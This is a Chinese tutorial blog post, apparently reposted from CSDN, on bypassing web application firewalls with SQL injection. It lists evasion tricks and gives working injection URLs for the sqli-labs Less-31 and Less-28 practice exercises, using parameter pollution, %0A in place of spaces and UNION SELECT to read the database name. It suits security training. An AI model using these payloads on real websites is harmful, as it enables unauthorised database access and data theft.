sql注入——waf绕过

Waf是Web应用防护系统,也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。

sql注入绕waf常用方式有以下几种:

1.大小写混合                        uNIoN sELecT 1,2,3,4 

2.替换关键字                         selselectect 1,2,3,4

3.使用编码                            %55nion %53elect 1,2,3,4

4.使用注释                            union/**/select 1,2,3,4 

5.等价函数与命令                 @@datadir ==> datadir()

6.特殊符号                            select+id+from users

一、以sql labs31为例(此例通过参数污染绕过)

1.在浏览器的输入框输入http://localhost/sqli-labs-master/Less-31/login.php

出现下面界面

2.在浏览器的输入框输入http://localhost/sqli-labs-master/Less-31/login.php?id=1'

回车显示下图,说明存在waf绕过

3.在浏览器输入http://localhost/sqli-labs-master/Less-31/login.php?id=1111&id=1%22)%20and%201=1--%20-

回车显示

4.在浏览器输入http://localhost/sqli-labs-master/Less-31/login.php?id=1111&id=1%22)%20and%201=2--%20-

回车显示下图,说明绕过成功

二、以sql labs28为例

1.在浏览输入:http://localhost/sqli-labs-master/Less-28/?id=1%27%20and%201=1%20--%20-

回车显示下图,发现空格不在了,这时可用%0A代替空格

2.输入:http://localhost/sqli-labs-master/Less-28/?id=1%27%0Aand%0A1=1%0Aand%271%27=%271

回车显示,页面正常

3.输入:http://localhost/sqli-labs-master/Less-28/?id=1%27)%0Aunion%0Aall%0ASeLECT%0A1,2,3%0Aand(%271%27)=(%271

回车显示,即可看到写的内容已经进来

4.输入:http://localhost/sqli-labs-master/Less-28/?id=30%27)%0Aunion%0Aall%0ASeLECT%0A1,database(),3%0Aand(%271%27)=(%271

回车显示下图,说明注入成功

发布了38 篇原创文章 · 获赞 21 · 访问量 1945

猜你喜欢

转载自blog.csdn.net/cxrpty/article/details/104261364